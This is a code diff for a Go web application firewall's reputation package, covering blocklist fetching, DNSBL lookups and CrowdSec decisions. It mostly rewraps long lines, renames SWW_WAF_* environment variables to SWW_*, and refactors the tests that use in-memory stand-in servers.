func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
|
func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
|
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
|
||||||
@@ -466,7 +517,10 @@ func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.
|
|||||||
got := dnsbl.Snapshot()
|
got := dnsbl.Snapshot()
|
||||||
if len(got) != count-1 || !slices.Contains(got, verdicts[0]) ||
|
if len(got) != count-1 || !slices.Contains(got, verdicts[0]) ||
|
||||||
slices.Contains(got, verdicts[count-1]) {
|
slices.Contains(got, verdicts[count-1]) {
|
||||||
t.Errorf("%d verdicts kept, want all but the one fetched longest ago", len(got))
|
t.Errorf(
|
||||||
|
"%d verdicts kept, want all but the one fetched longest ago",
|
||||||
|
len(got),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -476,7 +530,11 @@ func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
|
|||||||
listedName: {addrs: []string{listing}},
|
listedName: {addrs: []string{listing}},
|
||||||
}}
|
}}
|
||||||
|
|
||||||
conn, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", "127.0.0.1:0")
|
conn, err := (&net.ListenConfig{}).ListenPacket(
|
||||||
|
t.Context(),
|
||||||
|
"udp",
|
||||||
|
"127.0.0.1:0",
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
@@ -500,7 +558,8 @@ func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
|
|||||||
// process held up for a whole minute would see the query fail.
|
// process held up for a whole minute would see the query fail.
|
||||||
p.Timeout = time.Minute
|
p.Timeout = time.Minute
|
||||||
|
|
||||||
isListed, err := reputation.NewDNSBL(p).LookUp(zone, netip.MustParseAddr(listed))
|
isListed, err := reputation.NewDNSBL(p).
|
||||||
|
LookUp(zone, netip.MustParseAddr(listed))
|
||||||
if err != nil || !isListed {
|
if err != nil || !isListed {
|
||||||
t.Errorf("listed %t (%v), want true", isListed, err)
|
t.Errorf("listed %t (%v), want true", isListed, err)
|
||||||
}
|
}
|
||||||
@@ -554,7 +613,11 @@ func (s *resolverStandIn) set(name string, given answer) {
|
|||||||
// dial connects Go's resolver to the stand-in through an in-memory
|
// dial connects Go's resolver to the stand-in through an in-memory
|
||||||
// connection, on which it sends each query, and reads each reply, after
|
// connection, on which it sends each query, and reads each reply, after
|
||||||
// its length, as over TCP.
|
// its length, as over TCP.
|
||||||
func (s *resolverStandIn) dial(context.Context, string, string) (net.Conn, error) {
|
func (s *resolverStandIn) dial(
|
||||||
|
context.Context,
|
||||||
|
string,
|
||||||
|
string,
|
||||||
|
) (net.Conn, error) {
|
||||||
client, server := net.Pipe()
|
client, server := net.Pipe()
|
||||||
|
|
||||||
go s.serve(server)
|
go s.serve(server)
|
||||||
@@ -590,8 +653,10 @@ func (s *resolverStandIn) serve(conn net.Conn) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
//nolint:gosec // a reply of a few dozen bytes
|
//nolint:gosec // a reply of a few dozen bytes
|
||||||
_, err = conn.Write(append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))),
|
_, err = conn.Write(
|
||||||
reply...))
|
append(binary.BigEndian.AppendUint16(nil, uint16(len(reply))),
|
||||||
|
reply...),
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -692,7 +757,10 @@ func waitForTheResolver() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// newDNSBL returns the DNSBL of p, asking resolver.
|
// newDNSBL returns the DNSBL of p, asking resolver.
|
||||||
func newDNSBL(resolver *resolverStandIn, p reputation.DNSBLParams) *reputation.DNSBL {
|
func newDNSBL(
|
||||||
|
resolver *resolverStandIn,
|
||||||
|
p reputation.DNSBLParams,
|
||||||
|
) *reputation.DNSBL {
|
||||||
dnsbl := reputation.NewDNSBL(p)
|
dnsbl := reputation.NewDNSBL(p)
|
||||||
dnsbl.SetDial(resolver.dial)
|
dnsbl.SetDial(resolver.dial)
|
||||||
|
|
||||||
@@ -701,7 +769,12 @@ func newDNSBL(resolver *resolverStandIn, p reputation.DNSBLParams) *reputation.D
|
|||||||
|
|
||||||
// wantZones checks the zones whose verdict dnsbl says lists client, as a
|
// wantZones checks the zones whose verdict dnsbl says lists client, as a
|
||||||
// request from client finds them.
|
// request from client finds them.
|
||||||
func wantZones(t *testing.T, dnsbl *reputation.DNSBL, client string, want ...string) {
|
func wantZones(
|
||||||
|
t *testing.T,
|
||||||
|
dnsbl *reputation.DNSBL,
|
||||||
|
client string,
|
||||||
|
want ...string,
|
||||||
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := dnsbl.ListedBy(t.Context(), netip.MustParseAddr(client))
|
got := dnsbl.ListedBy(t.Context(), netip.MustParseAddr(client))
|
||||||
@@ -712,12 +785,21 @@ func wantZones(t *testing.T, dnsbl *reputation.DNSBL, client string, want ...str
|
|||||||
|
|
||||||
// wantQueries checks how many queries dnsbl made to zone, and how many of
|
// wantQueries checks how many queries dnsbl made to zone, and how many of
|
||||||
// them failed.
|
// them failed.
|
||||||
func wantQueries(t *testing.T, dnsbl *reputation.DNSBL, queries, failures int) {
|
func wantQueries(
|
||||||
|
t *testing.T,
|
||||||
|
dnsbl *reputation.DNSBL,
|
||||||
|
queries, failures int,
|
||||||
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
if dnsbl.Queries(zone) != queries || dnsbl.Failures(zone) != failures {
|
if dnsbl.Queries(zone) != queries || dnsbl.Failures(zone) != failures {
|
||||||
t.Errorf("%d queries and %d failures, want %d and %d", dnsbl.Queries(zone),
|
t.Errorf(
|
||||||
dnsbl.Failures(zone), queries, failures)
|
"%d queries and %d failures, want %d and %d",
|
||||||
|
dnsbl.Queries(zone),
|
||||||
|
dnsbl.Failures(zone),
|
||||||
|
queries,
|
||||||
|
failures,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,11 +1,11 @@
|
|||||||
// Package reputation fetches the lists the settings name by URL: the
|
// Package reputation fetches the lists the settings name by URL: the
|
||||||
// blocklists of SWW_WAF_BLOCKLIST_URLS, the file of AS:percent lines
|
// blocklists of SWW_BLOCKLIST_URLS, the file of AS:percent lines
|
||||||
// SWW_WAF_ASN_LIMIT_PERCENT_URL names, the address lists of SWW_WAF_TAG_LISTS, and
|
// SWW_ASN_LIMIT_PERCENT_URL names, the address lists of SWW_TAG_LISTS, and
|
||||||
// the decision list of the CrowdSec engine SWW_WAF_CROWDSEC_LAPI_URL names. It
|
// the decision list of the CrowdSec engine SWW_CROWDSEC_LAPI_URL names. It
|
||||||
// keeps the last good copy of
|
// keeps the last good copy of
|
||||||
// each, whole, comment lines included, which is used while a fetch fails,
|
// each, whole, comment lines included, which is used while a fetch fails,
|
||||||
// and when each was last tried. It also asks the DNSBL zones of
|
// and when each was last tried. It also asks the DNSBL zones of
|
||||||
// SWW_WAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks
|
// SWW_DNSBL_ZONES about clients, and keeps their verdicts, and checks
|
||||||
// clients with AbuseIPDB, and keeps their scores and the checks spent
|
// clients with AbuseIPDB, and keeps their scores and the checks spent
|
||||||
// today. The state package writes all of these to files and reads them
|
// today. The state package writes all of these to files and reads them
|
||||||
// from there, so that a restart keeps them too.
|
// from there, so that a restart keeps them too.
|
||||||
@@ -45,13 +45,16 @@ const (
|
|||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
errStatus = errors.New("the server answered")
|
errStatus = errors.New("the server answered")
|
||||||
errTooLong = errors.New("the list is longer than 16 MiB")
|
errTooLong = errors.New("the list is longer than 16 MiB")
|
||||||
errNotNetblock = errors.New("is not an address or a netblock, such as 192.0.2.0/24")
|
errNotNetblock = errors.New(
|
||||||
|
"is not an address or a netblock, such as 192.0.2.0/24",
|
||||||
|
)
|
||||||
errNotASNPercent = errors.New(
|
errNotASNPercent = errors.New(
|
||||||
"is not an AS number, : and a percentage, such as AS64496:50")
|
"is not an AS number, : and a percentage, such as AS64496:50")
|
||||||
errNotDecision = errors.New(
|
errNotDecision = errors.New(
|
||||||
"does not give an address or a netblock and a duration, such as 4h0m0s")
|
"does not give an address or a netblock and a duration, such as 4h0m0s",
|
||||||
|
)
|
||||||
)
|
)
|
||||||
|
|
||||||
// List is a list as lists.json holds it: the URL it is fetched from,
|
// List is a list as lists.json holds it: the URL it is fetched from,
|
||||||
@@ -67,20 +70,20 @@ type List struct {
|
|||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// BlocklistURLs are the blocklists (SWW_WAF_BLOCKLIST_URLS), and
|
// BlocklistURLs are the blocklists (SWW_BLOCKLIST_URLS), and
|
||||||
// ASNLimitPercentURL the file of AS:percent lines
|
// ASNLimitPercentURL the file of AS:percent lines
|
||||||
// (SWW_WAF_ASN_LIMIT_PERCENT_URL), "" while it is unset.
|
// (SWW_ASN_LIMIT_PERCENT_URL), "" while it is unset.
|
||||||
BlocklistURLs []string
|
BlocklistURLs []string
|
||||||
ASNLimitPercentURL string
|
ASNLimitPercentURL string
|
||||||
// TagLists are the address lists that add a tag (SWW_WAF_TAG_LISTS).
|
// TagLists are the address lists that add a tag (SWW_TAG_LISTS).
|
||||||
TagLists []config.TagList
|
TagLists []config.TagList
|
||||||
// CrowdSecDecisionsURL is the CrowdSec decision list, "" while
|
// CrowdSecDecisionsURL is the CrowdSec decision list, "" while
|
||||||
// SWW_WAF_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
|
// SWW_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
|
||||||
// (SWW_WAF_CROWDSEC_LAPI_KEY).
|
// (SWW_CROWDSEC_LAPI_KEY).
|
||||||
CrowdSecDecisionsURL string
|
CrowdSecDecisionsURL string
|
||||||
CrowdSecKey string
|
CrowdSecKey string
|
||||||
// Refresh is how long after a list was last fetched or tried it is
|
// Refresh is how long after a list was last fetched or tried it is
|
||||||
// fetched again (SWW_WAF_BLOCKLIST_REFRESH), but for the CrowdSec decision
|
// fetched again (SWW_BLOCKLIST_REFRESH), but for the CrowdSec decision
|
||||||
// list, which is fetched again crowdSecRefresh after.
|
// list, which is fetched again crowdSecRefresh after.
|
||||||
Refresh time.Duration
|
Refresh time.Duration
|
||||||
// Now tells the time, normally time.Now in UTC.
|
// Now tells the time, normally time.Now in UTC.
|
||||||
@@ -155,7 +158,7 @@ func New(params Params) *Lists {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// URLs returns the URL of every list: the blocklists' in the order
|
// URLs returns the URL of every list: the blocklists' in the order
|
||||||
// SWW_WAF_BLOCKLIST_URLS names them, then SWW_WAF_ASN_LIMIT_PERCENT_URL, then the
|
// SWW_BLOCKLIST_URLS names them, then SWW_ASN_LIMIT_PERCENT_URL, then the
|
||||||
// tag lists', then the CrowdSec decision list's.
|
// tag lists', then the CrowdSec decision list's.
|
||||||
func (l *Lists) URLs() []string {
|
func (l *Lists) URLs() []string {
|
||||||
urls := slices.Clone(l.params.BlocklistURLs)
|
urls := slices.Clone(l.params.BlocklistURLs)
|
||||||
@@ -175,7 +178,7 @@ func (l *Lists) URLs() []string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// ListedBy returns the URLs of the blocklists whose copy lists addr, in
|
// ListedBy returns the URLs of the blocklists whose copy lists addr, in
|
||||||
// the order SWW_WAF_BLOCKLIST_URLS names them.
|
// the order SWW_BLOCKLIST_URLS names them.
|
||||||
func (l *Lists) ListedBy(addr netip.Addr) []string {
|
func (l *Lists) ListedBy(addr netip.Addr) []string {
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
defer l.mu.Unlock()
|
defer l.mu.Unlock()
|
||||||
@@ -226,7 +229,10 @@ func (l *Lists) ASNLimitPercent(asn string) (int64, bool) {
|
|||||||
// decision list on a netblock that holds addr and that ends last, and
|
// decision list on a netblock that holds addr and that ends last, and
|
||||||
// whether it is still in force at now. A decision that has ended no
|
// whether it is still in force at now. A decision that has ended no
|
||||||
// longer bans, even before the next fetch drops it.
|
// longer bans, even before the next fetch drops it.
|
||||||
func (l *Lists) CrowdSecDecision(addr netip.Addr, now time.Time) (Decision, bool) {
|
func (l *Lists) CrowdSecDecision(
|
||||||
|
addr netip.Addr,
|
||||||
|
now time.Time,
|
||||||
|
) (Decision, bool) {
|
||||||
if l.params.CrowdSecDecisionsURL == "" {
|
if l.params.CrowdSecDecisionsURL == "" {
|
||||||
return Decision{}, false
|
return Decision{}, false
|
||||||
}
|
}
|
||||||
@@ -431,12 +437,24 @@ func (l *Lists) fetch(ctx context.Context, listURL string) {
|
|||||||
// Raised before it is logged, so that the alert is there once the
|
// Raised before it is logged, so that the alert is there once the
|
||||||
// log line is.
|
// log line is.
|
||||||
raiseFailure(l.params.Alerts, failed, listURL, err)
|
raiseFailure(l.params.Alerts, failed, listURL, err)
|
||||||
l.params.ProcessLog.Warn(failed, "url", listURL, "error", err.Error())
|
l.params.ProcessLog.Warn(
|
||||||
|
failed,
|
||||||
|
"url",
|
||||||
|
listURL,
|
||||||
|
"error",
|
||||||
|
err.Error(),
|
||||||
|
)
|
||||||
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
l.params.ProcessLog.Info("fetched a list", "url", listURL, "lines", len(lines))
|
l.params.ProcessLog.Info(
|
||||||
|
"fetched a list",
|
||||||
|
"url",
|
||||||
|
listURL,
|
||||||
|
"lines",
|
||||||
|
len(lines),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// raiseFailure raises a source_failure alert into queue, with reason, and
|
// raiseFailure raises a source_failure alert into queue, with reason, and
|
||||||
@@ -459,7 +477,12 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
|
|||||||
ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
|
ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, listURL, http.NoBody)
|
req, err := http.NewRequestWithContext(
|
||||||
|
ctx,
|
||||||
|
http.MethodGet,
|
||||||
|
listURL,
|
||||||
|
http.NoBody,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("make the request: %w", err)
|
return nil, fmt.Errorf("make the request: %w", err)
|
||||||
}
|
}
|
||||||
@@ -570,7 +593,10 @@ func parseNetblock(text string) (netip.Prefix, bool) {
|
|||||||
return netip.Prefix{}, false
|
return netip.Prefix{}, false
|
||||||
}
|
}
|
||||||
|
|
||||||
return netip.PrefixFrom(netblock.Addr().Unmap(), netblock.Bits()-mappedBits), true
|
return netip.PrefixFrom(
|
||||||
|
netblock.Addr().Unmap(),
|
||||||
|
netblock.Bits()-mappedBits,
|
||||||
|
), true
|
||||||
}
|
}
|
||||||
|
|
||||||
// parsePercents reads the lines of the file of AS:percent lines, each an
|
// parsePercents reads the lines of the file of AS:percent lines, each an
|
||||||
@@ -628,7 +654,8 @@ func parseDecisions(lines []string, fetched time.Time) (entries, error) {
|
|||||||
found := entries{decisions: map[netip.Prefix]Decision{}}
|
found := entries{decisions: map[netip.Prefix]Decision{}}
|
||||||
|
|
||||||
for i, decision := range answer {
|
for i, decision := range answer {
|
||||||
if decision.Type != "ban" || (decision.Scope != "Ip" && decision.Scope != "Range") {
|
if decision.Type != "ban" ||
|
||||||
|
(decision.Scope != "Ip" && decision.Scope != "Range") {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -636,12 +663,19 @@ func parseDecisions(lines []string, fetched time.Time) (entries, error) {
|
|||||||
|
|
||||||
duration, err := time.ParseDuration(decision.Duration)
|
duration, err := time.ParseDuration(decision.Duration)
|
||||||
if !ok || err != nil {
|
if !ok || err != nil {
|
||||||
return entries{}, fmt.Errorf("decision %d %w", i+1, errNotDecision)
|
return entries{}, fmt.Errorf(
|
||||||
|
"decision %d %w",
|
||||||
|
i+1,
|
||||||
|
errNotDecision,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
expires := fetched.Add(duration)
|
expires := fetched.Add(duration)
|
||||||
if expires.After(found.decisions[netblock].Expires) {
|
if expires.After(found.decisions[netblock].Expires) {
|
||||||
found.decisions[netblock] = Decision{Expires: expires, Scenario: decision.Scenario}
|
found.decisions[netblock] = Decision{
|
||||||
|
Expires: expires,
|
||||||
|
Scenario: decision.Scenario,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if !slices.Contains(found.lengths, netblock.Bits()) {
|
if !slices.Contains(found.lengths, netblock.Bits()) {
|
||||||
|
|||||||
@@ -34,8 +34,8 @@ const (
|
|||||||
dropURL = "https://lists.example/drop.txt"
|
dropURL = "https://lists.example/drop.txt"
|
||||||
torURL = "https://lists.example/tor.txt"
|
torURL = "https://lists.example/tor.txt"
|
||||||
asnURL = "https://lists.example/asn.txt"
|
asnURL = "https://lists.example/asn.txt"
|
||||||
// refresh is the tests' SWW_WAF_BLOCKLIST_REFRESH, and cooldown their
|
// refresh is the tests' SWW_BLOCKLIST_REFRESH, and cooldown their
|
||||||
// SWW_WAF_ALERT_COOLDOWN, longer than it.
|
// SWW_ALERT_COOLDOWN, longer than it.
|
||||||
refresh = 24 * time.Hour
|
refresh = 24 * time.Hour
|
||||||
cooldown = 48 * time.Hour
|
cooldown = 48 * time.Hour
|
||||||
// drop is a blocklist as the Spamhaus DROP list is written, with an
|
// drop is a blocklist as the Spamhaus DROP list is written, with an
|
||||||
@@ -72,7 +72,9 @@ func TestListedAddressesAndNetblocksWithTheCommentsLeftOut(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor(t *testing.T) {
|
func TestIPv4MappedLineListsTheIPv4AddressOrNetblockItStandsFor(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
now := time.Now()
|
now := time.Now()
|
||||||
@@ -116,7 +118,7 @@ func TestClientIsListedByEachBlocklistThatListsIt(t *testing.T) {
|
|||||||
}}
|
}}
|
||||||
lists := start(t, servers, params(torURL, dropURL))
|
lists := start(t, servers, params(torURL, dropURL))
|
||||||
|
|
||||||
// In the order SWW_WAF_BLOCKLIST_URLS names them.
|
// In the order SWW_BLOCKLIST_URLS names them.
|
||||||
wantListedBy(t, lists, "203.0.113.9", torURL, dropURL)
|
wantListedBy(t, lists, "203.0.113.9", torURL, dropURL)
|
||||||
wantListedBy(t, lists, "203.0.113.8", dropURL)
|
wantListedBy(t, lists, "203.0.113.8", dropURL)
|
||||||
})
|
})
|
||||||
@@ -126,7 +128,9 @@ func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
servers := &standIn{lists: map[string]string{dropURL: "203.0.113.9\n"}}
|
servers := &standIn{
|
||||||
|
lists: map[string]string{dropURL: "203.0.113.9\n"},
|
||||||
|
}
|
||||||
lists := start(t, servers, params(dropURL))
|
lists := start(t, servers, params(dropURL))
|
||||||
began := time.Now()
|
began := time.Now()
|
||||||
|
|
||||||
@@ -142,41 +146,21 @@ func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) {
|
|||||||
wantListedBy(t, lists, "203.0.113.9")
|
wantListedBy(t, lists, "203.0.113.9")
|
||||||
wantListedBy(t, lists, "203.0.113.10", dropURL)
|
wantListedBy(t, lists, "203.0.113.10", dropURL)
|
||||||
|
|
||||||
if fetched := lists.Fetched(dropURL); !fetched.Equal(began.Add(refresh)) {
|
if fetched := lists.Fetched(dropURL); !fetched.Equal(
|
||||||
|
began.Add(refresh),
|
||||||
|
) {
|
||||||
t.Errorf("the copy in use was fetched at %s, want %s", fetched,
|
t.Errorf("the copy in use was fetched at %s, want %s", fetched,
|
||||||
began.Add(refresh))
|
began.Add(refresh))
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
|
func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range listFailures() {
|
||||||
name string
|
|
||||||
// fail has the stand-in answer the fetches after the first so that
|
|
||||||
// they fail with error.
|
|
||||||
fail func(servers *standIn)
|
|
||||||
error string
|
|
||||||
}{
|
|
||||||
{
|
|
||||||
"an answer other than 200",
|
|
||||||
func(servers *standIn) { servers.set(dropURL, "") },
|
|
||||||
"the server answered 503 Service Unavailable",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"a line that does not read",
|
|
||||||
func(servers *standIn) { servers.set(dropURL, "203.0.113.10\n<html>\n") },
|
|
||||||
"line 2 is not an address or a netblock, such as 192.0.2.0/24",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"a list longer than 16 MiB",
|
|
||||||
func(servers *standIn) {
|
|
||||||
servers.set(dropURL, strings.Repeat("#\n", 8<<20+1))
|
|
||||||
},
|
|
||||||
"the list is longer than 16 MiB",
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -205,8 +189,13 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
|
|||||||
want := kept[0]
|
want := kept[0]
|
||||||
want.Tried = time.Now()
|
want.Tried = time.Now()
|
||||||
|
|
||||||
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
|
got := lists.Snapshot()
|
||||||
t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
|
if !reflect.DeepEqual(got, []reputation.List{want}) {
|
||||||
|
t.Errorf(
|
||||||
|
"lists %+v, want the first copy, last tried now, %+v",
|
||||||
|
got,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if lists.Failures(dropURL) != 2 {
|
if lists.Failures(dropURL) != 2 {
|
||||||
@@ -215,10 +204,14 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
|
|||||||
|
|
||||||
// One alert for the first failure; the cooldown holds back the
|
// One alert for the first failure; the cooldown holds back the
|
||||||
// second.
|
// second.
|
||||||
wantAlert(t, queue, fetchFailure(time.Now().Add(-refresh), dropURL, tc.error))
|
failed := time.Now().Add(-refresh)
|
||||||
|
wantAlert(t, queue, fetchFailure(failed, dropURL, tc.error))
|
||||||
|
|
||||||
if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
|
if !strings.Contains(
|
||||||
`"url":"`+dropURL+`","error":"`+tc.error) {
|
log.String(),
|
||||||
|
`"msg":"fetching a list failed",`+
|
||||||
|
`"url":"`+dropURL+`","error":"`+tc.error,
|
||||||
|
) {
|
||||||
t.Errorf("logged\n%s\nwant the failures", log.String())
|
t.Errorf("logged\n%s\nwant the failures", log.String())
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -226,6 +219,40 @@ func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// listFailure is a way a list's fetch can fail.
|
||||||
|
type listFailure struct {
|
||||||
|
name string
|
||||||
|
// fail has the stand-in answer the fetches after the first so that
|
||||||
|
// they fail with error.
|
||||||
|
fail func(servers *standIn)
|
||||||
|
error string
|
||||||
|
}
|
||||||
|
|
||||||
|
// listFailures returns the ways a list's fetch can fail.
|
||||||
|
func listFailures() []listFailure {
|
||||||
|
return []listFailure{
|
||||||
|
{
|
||||||
|
"an answer other than 200",
|
||||||
|
func(servers *standIn) { servers.set(dropURL, "") },
|
||||||
|
"the server answered 503 Service Unavailable",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"a line that does not read",
|
||||||
|
func(servers *standIn) {
|
||||||
|
servers.set(dropURL, "203.0.113.10\n<html>\n")
|
||||||
|
},
|
||||||
|
"line 2 is not an address or a netblock, such as 192.0.2.0/24",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"a list longer than 16 MiB",
|
||||||
|
func(servers *standIn) {
|
||||||
|
servers.set(dropURL, strings.Repeat("#\n", 8<<20+1))
|
||||||
|
},
|
||||||
|
"the list is longer than 16 MiB",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
|
func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -237,19 +264,27 @@ func TestFetchNotDoneWithinAMinuteFails(t *testing.T) {
|
|||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
if lists.Failures(dropURL) != 0 {
|
if lists.Failures(dropURL) != 0 {
|
||||||
t.Errorf("%d failures before a minute, want none", lists.Failures(dropURL))
|
t.Errorf(
|
||||||
|
"%d failures before a minute, want none",
|
||||||
|
lists.Failures(dropURL),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
time.Sleep(time.Nanosecond)
|
time.Sleep(time.Nanosecond)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
if lists.Failures(dropURL) != 1 {
|
if lists.Failures(dropURL) != 1 {
|
||||||
t.Errorf("%d failures after a minute, want 1", lists.Failures(dropURL))
|
t.Errorf(
|
||||||
|
"%d failures after a minute, want 1",
|
||||||
|
lists.Failures(dropURL),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(t *testing.T) {
|
func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -262,8 +297,16 @@ func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(t *testing.
|
|||||||
// drop.txt was fetched an hour ago, and tor.txt a refresh ago, as
|
// drop.txt was fetched an hour ago, and tor.txt a refresh ago, as
|
||||||
// lists.json says at start.
|
// lists.json says at start.
|
||||||
err := lists.Load([]reputation.List{
|
err := lists.Load([]reputation.List{
|
||||||
{URL: dropURL, Fetched: time.Now().Add(-time.Hour), Lines: []string{"203.0.113.9"}},
|
{
|
||||||
{URL: torURL, Fetched: time.Now().Add(-refresh), Lines: []string{"198.51.100.9"}},
|
URL: dropURL,
|
||||||
|
Fetched: time.Now().Add(-time.Hour),
|
||||||
|
Lines: []string{"203.0.113.9"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
URL: torURL,
|
||||||
|
Fetched: time.Now().Add(-refresh),
|
||||||
|
Lines: []string{"198.51.100.9"},
|
||||||
|
},
|
||||||
})
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("load: %v", err)
|
t.Fatalf("load: %v", err)
|
||||||
@@ -290,7 +333,9 @@ func TestRestartWaitsRefreshAfterTheLastTryEvenOneThatFailed(t *testing.T) {
|
|||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
// drop.txt is fetched, and a refresh later the fetch downloads it
|
// drop.txt is fetched, and a refresh later the fetch downloads it
|
||||||
// whole but fails on a line that does not read.
|
// whole but fails on a line that does not read.
|
||||||
servers := &standIn{lists: map[string]string{dropURL: "198.51.100.1\n"}}
|
servers := &standIn{
|
||||||
|
lists: map[string]string{dropURL: "198.51.100.1\n"},
|
||||||
|
}
|
||||||
lists := start(t, servers, params(dropURL))
|
lists := start(t, servers, params(dropURL))
|
||||||
|
|
||||||
servers.set(dropURL, "198.51.100.2\n<html>\n")
|
servers.set(dropURL, "198.51.100.2\n<html>\n")
|
||||||
@@ -299,7 +344,9 @@ func TestRestartWaitsRefreshAfterTheLastTryEvenOneThatFailed(t *testing.T) {
|
|||||||
|
|
||||||
// Restarted with what lists.json keeps, it waits a refresh
|
// Restarted with what lists.json keeps, it waits a refresh
|
||||||
// after the failed try, as it does while it runs.
|
// after the failed try, as it does while it runs.
|
||||||
restarted := &standIn{lists: map[string]string{dropURL: "198.51.100.2\n"}}
|
restarted := &standIn{
|
||||||
|
lists: map[string]string{dropURL: "198.51.100.2\n"},
|
||||||
|
}
|
||||||
again := reputation.New(params(dropURL))
|
again := reputation.New(params(dropURL))
|
||||||
again.SetTransport(restarted)
|
again.SetTransport(restarted)
|
||||||
|
